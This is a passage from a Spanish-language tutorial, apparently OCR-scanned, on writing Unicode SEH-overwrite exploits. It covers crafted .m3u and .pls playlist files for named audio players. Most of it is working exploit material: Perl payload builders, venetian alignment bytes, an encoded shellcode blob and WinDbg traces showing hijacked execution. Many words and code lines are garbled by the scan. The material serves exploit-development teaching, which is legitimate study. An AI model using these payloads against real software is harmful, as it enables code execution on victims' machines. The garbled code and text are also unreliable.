" Wrote ". ($payload)." bytes\n *;

Resultado:

0:000> lexchain

0012f2ac: ***

image00400000+50015 (00450015)

Invalid exception stack at 00620061

0:000>

0:000>

0:000> g

Breakpoint O hit

€ax=00000000 ebx=00000000 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450015 esp=0012e47c ebp=0012e49c iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50015:

00450015 5b ebx

0:000> t

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450016 esp=0012e480 ebp=0012e49c iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50016:

00450016 5d ebp

0:000> t

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=00450017 esp=0012e484 ebp=0012e564 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

image00400000+0x50017:

00450017 c3 ret

0:000> t

Breakpoint 1 hit

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000
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eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dii>+0x12f2ab:

0012f2ac

0:000> t

eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2ad esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dii>+0x12f2ac:

0012f2ad

ds:0023:0012e54c=b8

0:000> t

eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na po cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200283

<Unloaded_papi.dlI>+0x12f2af:

0012f2b0 adc eax,

<Unloaded_papi.dlI>+0x440044ff (44004500)

Eso funciona. POPAD ha puesto algo en todos losstreg, y la
instruccién 006200 actué como una especie de NOP.

Nota: Lo que por lo general funciona mejor en n&sHIna instruccion de
byte simple + una instruccion NOP por igual. Haychas instrucciones de
un solo byte (INC <Reg>, DEC <Reg>, POPAD), poglee debes jugar
un poco con las instrucciones hasta que obtengaselaleseas.

La dltima instruccion en el resultado de arriba st la siguiente
instruccion, que se compone del puntero a POP FEOIP(E5004500), vy al
parecer se toma un byte adicional de los datosegtén en la pila justo
después del SE Handler (44). Nuestro puntero OQb586 convierte ahora
en una instruccion que tiene el opcode 15 = ADC Eéeguido por un
Offset de 4 bytes. (El siguiente byte de la pila famado para alinear la
instrucciéon. Controlamos que el siguiente bytese® un gran problema).

Ahora tratamos de ejecutar lo que solia ser ungpora POP POP RET. Si
somos capaces de conseguir mas alla de la ejecdeiGstos bytes, y
podemos comenzar a ejecutar cédigos de operacigpuéle de estos 4
bytes, entonces hemos logrado lo mismo que si rabh@Es ejecutado
jumpcode en nSEH.
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Continta caminando (traza), y acabaras aqui:

0:000> t

eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na po cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200283

<Unloaded_papi.dlI>+0x12f2af:

0012f2b0 1500450044 adc eax,

<Unloaded_papi.dlI>+0x440044ff (44004500)

0:000> t

eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b5 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dli>+0x12f2b4:

0012f2b5 add Dbyte ptr [eax+eax+44h],al

ds:0023:8826550e=2?

Aja, asi que hemos empezado a ejecutar el codigosgupuso en la pila
después de sobrescribir la estructura SE.

Basicamente, tratamos de ejecutar 0044000044 ,aqub's.

Conclusion:

- Hemos sobrescrito la estructura SE.

- Nos aduefiamos de EIP (POP POP RET).

- Simulamos un salto corto.

- Hicimos que la aplicacion ejecute codigo arbigrar

El siguiente reto es convertir esto en un exploitcfonal. No podemos
poner nuestra Shellcode codificada aqui, ya quieebdificador necesita
un registro que apunte a si mismo. Si nos fijamodoe valores de los
registros actuales, hay una gran cantidad de regiqtie apuntan casi a la
ubicacién actual, pero ninguno de ellos apuntectirmente a la ubicacion
actual. Asi que tenemos que modificar uno de Igstm®s, y usar algo de

relleno para poner la Shellcode exactamente doede ¢ue estar.

Digamos que queremos usar EAX. Sabemos como conistr8hellcode
que utiliza EAX con alpha2 (que sélo requiere deregistro). Si deseas
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utilizar vense.pl, entonces tendrias que preparaegistro adicional, hacer
gue apunte a una ubicacibn de memoria que se pestldbir y sea
ejecutable. Pero el concepto basico es el mismo.

De todas formas, volver a utilizar el cédigo gederaor alpha2. Lo que
tenemos que hacer es apuntar EAX en la ubicaciénagunta al primer
byte de nuestro decodificador (=la Shellcode codda) y luego saltar a
EAX.

Ademas, las instrucciones que se necesitan pamabiesaeben ser
compatibles con Unicode. Asi que tenemos que attilia técnica de la
Shellcode veneciana que se explicé anteriormente.

Mira los registros. Podriamos, por ejemplo, ponBPEn EAX y luego
afiadir una pequefa cantidad de bytes, para salae €l cddigo que se
necesita para apuntar EAX al decodificador y salték.

Probablemente tendremos que afiadir un poco deaedlietre el codigo y
el comienzo del decodificador, (el resultado fisatia que EAX apunte al
decodificador, cuando el salto se haga).

Cuando ponemos EBP en EAX y afadimos 100 bytes, Bpontara a
0012f3ac. Ahi es donde el decodificador tiene gueslocado.

Tenemos el control de los datos en esa ubicacion:

0:000> d 0012f3ac

0012f3ac 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3bc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

Con el fin de obtener EBP+100 en EAX, y saltar aXEAecesitamos el
siguiente caodigo:

Después de aplicar la técnica de la Shellcode vemecesto es lo que hay
gue poner en el buffer:

$preparestuff=" D'; #we need the first D
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$preparestuff=$preparestuff." \x6e "; #nop/align
$preparestuff=$preparestuff.” \x55 "; # ebp

$preparestuff=$preparestuff.” \x6e #nop/align

$preparestuff=$preparestuff." \x58 "; # eax
$preparestuff=$preparestuff." \x6e "; # /align
$preparestuff=$preparestuff." \x05\x14\x11 "; #add eax,0x11001400
$preparestuff=$preparestuff.” \x6e "; # /align
$preparestuff=$preparestuff.” x2d\x13\x11 "; # eax,0x11001300
$preparestuff=$preparestuff." \x6e "; # /align

Como hemos visto, necesitamos la primera D porgadogte que se utiliza
como parte del offset en la instruccion ejecutadal édandler SE.

Después de esa instruccion, preparamos EAX para aueite a
0x0012f3ac, y podemos dar el salto a eax:

Cadigo:

$totalsize=5000;

$junk =" A" x 254;

$nseh=" \x61\x62 "; #popad + nop

$seh=" \x15\x45 "; #put 00450015 in SE Handler

$preparestuff=" D'; #we need the first D
$preparestuff=$preparestuff." \x6e "; #nop/align
$preparestuff=$preparestuff.” \x55 "; # ebp
$preparestuff=$preparestuff.” \x6e "; #nop/align
$preparestuff=$preparestuff.” \x58 "; # eax
$preparestuff=$preparestuff." \x6e "; # /align
$preparestuff=$preparestuff." \x05\x14\x11 "; #add eax,0x11001400
$preparestuff=$preparestuff.” \x6e "; # /align
$preparestuff=$preparestuff.” \x2d\x13\x11 "; # eax,0x11001300
$preparestuff=$preparestuff.” \x6e "; # /align

$jump=" \x50 "; # eax
$jump=$jump."” \x6d "; #nop/align
$jump=Sjump.” \xc3 "; #ret

$morestuff=" D" x (5000-
($junk.$nseh.$seh.$preparestuff.$jump));

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$more

(myfile,'>corelantest. m3u’);

myfile $payload,;

(myfile);

" Wrote ", ($payload)." bytes\n *;

Resultado:

This exception may be expected and handled.
eax=00000044 ebx=02ee2c84 ecx=02dbc588 edx=00130000 esi=02ee2c68

edi=0012f298
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eip=0laec2a6b esp=0012e84c ebp=0012f2b8 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00210206

DefaultPlaylist!XionPluginCreate+0x18776:

Olaec2a6 668902 mov  word ptr [edx],ax

ds:0023:00130000=6341

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

Missing image name, possible paged-out or corrupt d

0:000> lexchain

0012f2ac:

image00400000+50015 (00450015)
Invalid exception stack at 00620061

0:000> bp 0012f2ac

0:000> g

Breakpoint O hit

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000
edi=00000000

eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dll>+0x12f2ab:

0012f2ac 61 popad

0:000> t

eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2ad esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dlI>+0x12f2ac:

0012f2ad 006200 add byte ptr [edx],ah

ds:0023:0012e54c=h8

0:000>

eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na po cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200283

<Unloaded_papi.dll>+0x12f2af:

0012f2b0 1500450044 adc eax,

<Unloaded_papi.dll>+0x440044ff (44004500)

0:000>

eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b5 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dll>+0x12f2b4:

0012f2b5 006e00 add byte ptr [esi],ch

ds:0023:0012e538=63

0:000>
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eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b8 esp=0012e4a8 ebp=0012f2ac iopl=0 oV up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200a86

<Unloaded_papi.dll>+0x12f2b7:

0012f2b8 55 ebp

0:000>

eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2b9 esp=0012e4a4 ebp=0012f2ac iopl=0 oV up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200a86

<Unloaded_papi.dlI>+0x12f2b8:

0012f2b9 006e00 add byte ptr [esi],ch

ds:0023:0012e538=95

0:000>

eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2bc esp=0012e4a4 ebp=0012f2ac iopl=0 nv up ei ng nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200282

<Unloaded_papi.dlI>+0x12f2bb:

0012f2bc 58 eax

0:000>

eax=0012f2ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2bd esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200282

<Unloaded_papi.dii>+0x12f2bc:

0012f2bd 006e00 add byte ptr [esi],ch

ds:0023:0012e538=c7

0:000>

eax=0012f2ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2c0 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200286

<Unloaded_papi.dlI>+0x12f2bf:

0012f2c0 0500140011 add eax, BASS+0x1400 (11001400)
0:000>

eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2c5 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dii>+0x12f2c4:

0012f2c5 006e00 add byte ptr [esi],ch

ds:0023:0012e538=f9

0:000>

eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580
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eip=0012f2c8 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na pe cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200207

<Unloaded_papi.dli>+0x12f2c7:

0012f2c8 2d00130011 eax, BASS+0x1300 (11001300)
0:000>

eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2cd esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.diI>+0x12f2cc:

0012f2cd 006e00 add byte ptr [esi],ch

ds:0023:0012e538=2b

0012f3ac 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D. D.D.D.D.D.D.
0012f3bc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3cc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3dc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3ec 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3fc 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f40c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f41c 44 00 44 00 44 00 44 00-44 00 44 00 44 00 D.D.D.D.D.D.D.D.

0:000> t

eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2d0 esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.dlI>+0x12f2cf:

0012f2d0 50 eax

0:000> t

eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2d1 esp=0012e4a4 ebp=0012f2ac iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.diI>+0x12f2d0:

0012f2d1 006d00 add byte ptr [ebp],ch

$s:0023:0012f2ac=61

0:000> t

eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f2d4 esp=0012e4a4 ebp=0012f2ac iopl=0 nv up ei ng nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200282

<Unloaded_papi.dli>+0x12f2d3:

0012f2d4 c3 ret

0:000> t

eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538
edi=0012e580

eip=0012f3ac esp=0012e4a8 ebp=0012f2ac iopl=0 nv up ei ng nz
na po nc
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¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00200282

<Unloaded_papi.dll>+0x12f3ab:

Ok, eso funcion6

Asi que ahora, tenemos que poner nuestra Shelmodriestro Payload,
asegurandonos de que esté en 0012f3ac también&amdo, necesitamos
el desplazamiento entre la dltima instruccién erestro jumpcode
veneciano (c3=ret) y 0012f3ac.

0:000> d 0012f2d4

0012f2d4 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 ..D. D.D.D.D.D.D.
0012f2e4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f2f4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f304 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f314 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f324 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
00121334 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f344 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0:000> d

0012f354 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
00121364 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f374 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
00121384 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
00121394 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3a4 44 00 44 00 44 00 44 00- 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3b4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0012f3c4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.

0012f3ac - 0012f2d5 = 215 bytes. La mitad de laidad requerida de los
bytes afiadidos por la conversidbn de Unicode, pogue necesitamos
rellenar 107 bytes (que se expanden automaticanaeffe! bytes), luego
ponemos nuestra Shellcode, y después mas basura Qoévar la

excepcion que finalmente conduce a activar nuesiiao).

Cadigo:

$totalsize=5000;

$junk =" A" x 254;

$nseh=" \x61\x62 "; #popad + nop

$seh=" \x15\x45 "; #put 00450015 in SE Handler

$preparestuff=" D'; #we need the first D
$preparestuff=$preparestuff.” \x6e "; #nop/align
" # ebp

$preparestuff=$preparestuff.” ©ES
$preparestuff=$preparestuff." \x6e "; #nop/align
$preparestuff=$preparestuff." \x58 "; # eax
$preparestuff=$preparestuff.” \x6e "; # /align
$preparestuff=$preparestuff.” \x05\x14\x11 "; #add eax,0x11001400
$preparestuff=$preparestuff.” \x6e "; # [align
$preparestuff=$preparestuff." \x2d\x13\x11 "; # eax,0x11001300
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$preparestuff=$preparestuff." \x6e "; #

Sjump=" x50 "; # eax
$jump=$jump.” \x6d "; #nop/align
$jump=$jump.” \xc3 "; #ret

$morestuff=" D' x 107; #required to make sure shellcode = eax

$shellcode="  PPYAIAIAIAIAQATAXAZAPA3QADAZA.
" BARALAYAIAQAIAQAPASAAAPAZ1AITAIAIAJLLAIAIAXA ",
" 58AAPAZABABQI1AIQIAIQI1111AIAJQIIAYAZBABABAB "
" AB30APB944JBKLK8UIMOMOKPSOU99UNQBRS44KPROO4K
" 22 LDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL
" MPGQ8OLMM197K2ZP22B7TKORLPTK120LM1Z04KOPBX55
" YOD4OZKQXPOP4KOXMHTKR8MPKQJ3ISOLI9TKNTTKM18V
" NQKONQ90FLGQ8OLMKQY7NXKOT5L4M33MKHOKSMND45JB
" R84KOXMTKQHSBFTKLLOKTK28MLM18S4KKTAKKQXPSYOT
" NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2IKQTMSU
" 89KPKPKPOPQX014K204GKOHU7KIPMMNJILIQXEVDU7MEM
" KOHUOLKVCLLJISPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC
" QQ2LRCMOLJA

$evenmorestuff=" D' x 4100; #ust a guess

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$more stuff.$shellcode.$e
venmorestuff;

(myfile,">corelantest. m3u’);

myfile $payload,;

(myfile);

" Wrote ". ($payload)." bytes\n

Resultado:
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iVoila

Construir un exploit Uicode - Ejemplo 2

En nuestro primer ejemplo, tuvimos un poco de sudrbs espacios de
buffer disponibles nos permitieron usar una Shd#cale 524 bytes,
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colocada después de sobrescribir el registro SEHhdzho, los 524 bytes
son bastante pequeios para la Shellcode Unicode.

Quizéa no tengamos esta suerte todo el tiempo.
En el segundo ejemplo, voy a hablar de los primgrasos para la
construccion de un exploit funcional pak#VP2 Audio Converter 2.51

build 330 (e inferior), segun ha informado mr_me.

http://securityreason.com/securityalert/6472

Puedes descargar la aplicacion vulnerable aqui.

(La aplicacién vulnerable es aimp2c.exe). Cuanelccarga un archivo
especialmente uno playlist modificada y pulsas etomh "Play”, la
aplicacién se bloquea:

Cadigo Poc:

$header =" [playlist\nNumberOfEntries=1\n\n
$header=$header." Filel= "

$junk=" A" x 5000;

$payload=$header.$junk." \n ";

(myfile,">aimp2sploit.pls");
myfile $payload,;
" Wrote ". ($payload)." bytes\n *;
(myfile);

Resultado:

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=001c0020 ebx=00000000 ecx=00000277 edx=00000c48 esi=001d1a58

edi=00130000

eip=004530c6 esp=0012dca8 ebp=0012dd64 iopl=0 nv up ei pl nz
ac pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0]

efl=00210216

AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemT VarRecxi+0xe2:
004530c6 f366a5 rep movs word ptr es:[edi] ,word ptr [esi]
Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.

0:000> !exchain
0012fda0: *** WARNING: Unable to verify checksum fo r image00400000
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image00400000+10041 (00410041)
Invalid exception stack at 00410041

Usando un patron de Metasploit, he descubierto qoemi sistema, el
desplazamiento para llegar al registro SEH es 886 #ftes.

Después de buscar direcciones POP POP RET congzatbh Unicode,
decidi usar 0x0045000E (aimp2.dll).

Vamos a sobrescribir el préximo SEH 0x41, 0x6d (IECX + NOP), y
poner 1000 B’s después de sobrescribir el redsitio:

Cadigo:

$header ="  [playlist\nNumberOfEntries=1\n\n
$header=$header." Filel= "

$junk=" A" x 4065;

$nseh=" \x41\x6d "; # inc ecx + add byte ptr [ebp],ch

$seh=" \x0e\x45 "; #0045000E aimp2.dll Universal ? =>
add byte ptr [ebp],al

$rest =" B" x 1000;
$payload=$header.$junk.$nseh.$seh.$rest." \n ";
(myfile,">aimp2sploit.pls");
myfile $payload;
" Wrote ". ($payload)." bytes\n *;
(myfile);

Resultado:

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=001c0020 ebx=00000000 ecx=000002bc edx=00000c03 esi=001c7d88
edi=00130000

eip=004530c6 esp=0012dca8 ebp=0012dd64 iopl=0 nv up ei pl nz
ac pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0]

efl=00210216

AIMP2!SysutilsWideFormatBuf$qgrpvuipxvuipx14SystemT VarRecxi+0xe2:
004530c6 f366a5 rep movs word ptr es:[edi] ,word ptr [esi]
Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.

Missing image name, possible paged-out or corrupt d ata.

0:000> !exchain
0012fda0: AIMP2!SysutilsWideLowerCase$qqrx17SystemwW ideString+c2
( )

Invalid exception stack at

0:000>

0:000> g

Breakpoint 0 hit

eax=00000000 ebx=00000000 ecx=7c9032a8 edx=7c9032bc esi=00000000
edi=00000000
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eip=0012fda0 esp=0012d8e4 ebp=0012d9c0 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200246

<Unloaded_papi.dlI>+0x12fd8f:

0012fda0 41 inc  ecx

0:000> t

eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fdal esp=0012d8e4 ebp=0012d9c0 iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200206

<Unloaded_papi.dlI>+0x12fd90:

0012fdal 006d00 add Dbyte ptr [ebp],ch

$5:0023:0012d9c0=05

0:000> t

eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032hc esi=00000000
edi=00000000

eip=0012fda4 esp=0012d8e4 ebp=0012d9c0 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.dlI>+0x12fd93:

0012fda4 Oe Ccs

0:000> t

eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fda5 esp=0012d8e0 ebp=0012d9c0 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.dll>+0x12fd94:

0012fda5 004500 add Dbyte ptr [ebp],al

$5:0023:0012d9c0=37

0:000> t

eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000
edi=00000000

eip=0012fda8 esp=0012d8e0 ebp=0012d9c0 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00200202

<Unloaded_papi.dll>+0x12fd97:

0:000> d eip

0012fda8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdb8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdc8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdd8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fde8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdf8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fe08 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fel18 42 00 42 00 42 00 42 00-42 00 42 00 42 00 B.B.B.B.B.B.B.B.

OK, hasta ahora todo bien. Hemos dado el saltoraAlilamos a tratar de
poner una direcciéon en EAX que apunte a nuestras B’
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Al examinar los registros, no podemos encontragumo que realmente
nos pueda ayudar. Pero si nos fijamos en lo qéeceska pila en este punto

(en ESP), podemos ver esto:

0:000> d esp

0012d8e0 1b 00 12 00 dc d9 12 00-94 d9 12 00
0012d8f0 bc 32 90 7c a0 fd 12 00-a8 d9 12 00 7a 32
0012d900 c0d9 12 00 a0 fd 12 00-dc d9 12 00 94 d9
0012d910 Oe 00 45 00 00 00 13 00-c0 d9 12 00 a0 fd
0012d920 0Of aa 92 7c c0 d9 12 00-a0 fd 12 00 dc d9
0012d930 94 d9 12 00 Oe 00 45 00-00 00 13 00 cO d9
0012d940 88 7d 1c 00 90 2d 1b 00-47 00 00 00 00 00
0012d950 37 00 00 00 8c 20 00 00-e8 73 19 00 00 00
0:000> d 0012001b

0012001b ?? ?? 2?2 22 22 22 22 22-22 22?22 22 2?2 ??
0012002 ?? ?? 2?2 2?2 2?2 22 22 ??2-22 7?2 2?2 22?22 ??
0012003b ?? ?? 2?2 22 22 22 22 ?2?2-22 22?22 22 2?2 ??
0012004b ?? 2?2 2?2 2?2 22 22 22 2?2-22 72 2?2 22?22 ??
0012005b ?? ?? 2?2 22 22 22 2?2 ?2?2-22 22?22?22 2?2 ??
0012006 ?? ?? 2?2 2?2 2?2 22 22 ??2-22 2?2 2?2 22?272 ??
0012007h ?? 2?2 2?2 2?2 22 22 22 22-22 72 2?2 22?22 ??
0012008b ?? ?? 2?2 22 22 22 22 ?2?2-22 22?22 22 2?2 ??
0:000> d 0012d9dc

0012d9dc 3f 00 01 00 00 00 00 00-00 00 00 00 00 00
0012d9ec 00 00 00 00 00 00 00 00-00 00 00 00 72 12
0012d9fc 00 30 ff ff ff ff ff ff-20 53 84 74 1b 00
0012da0c 28 ad 38 00 23 00 ff f-00 00 00 00 00 00
0012dalc 00 00 00 00 00 00 00 00-00 00 00 00 00 00
0012da2c 00 00 00 00 00 00 48 53-6b bc 80 ff 12 00
0012da3c 2c 00 00 00 90 24 4e 80-00 00 00 40 00 dc
0012da4c 00 da 35 40 86 74 b8 e6-e0 d8 de d2 3d 40
0:000> d 0012d994

0012d994 ff ff ff ff 00 00 00 00-00 00 13 00 00 10
0012d9a4 08 06 15 00 64 dd 12 00-8a e4 90 7c 00 00
0012d9b4 dc d9 12 00 cO d9 12 00-dc d9 12 00 37 00
0012d9c4 00 00 00 00 00 00 00 00-c6 30 45 00 02 00
0012d9d4 01 00 00 00 00 00 13 00-3f 00 01 00 00 00
0012d9e4 00 00 00 00 00 00 00 00-00 00 00 00 00 00
0012d9f4 00 00 00 00 72 12 ff ff-00 30 ff ff ff ff
0012da04 20 53 84 74 1b 00 5b 05-28 ad 38 00 23 00
0:000>

0012fda0 41 00 6d 00 Oe 00 45 00-42 00 42 00 42 00
0012fdb0 42 00 42 00 42 00 42 00-42 00 42 00 42 00
0012fdcO 42 00 42 00 42 00 42 00-42 00 42 00 42 00
0012fdd0 42 00 42 00 42 00 42 00-42 00 42 00 42 00
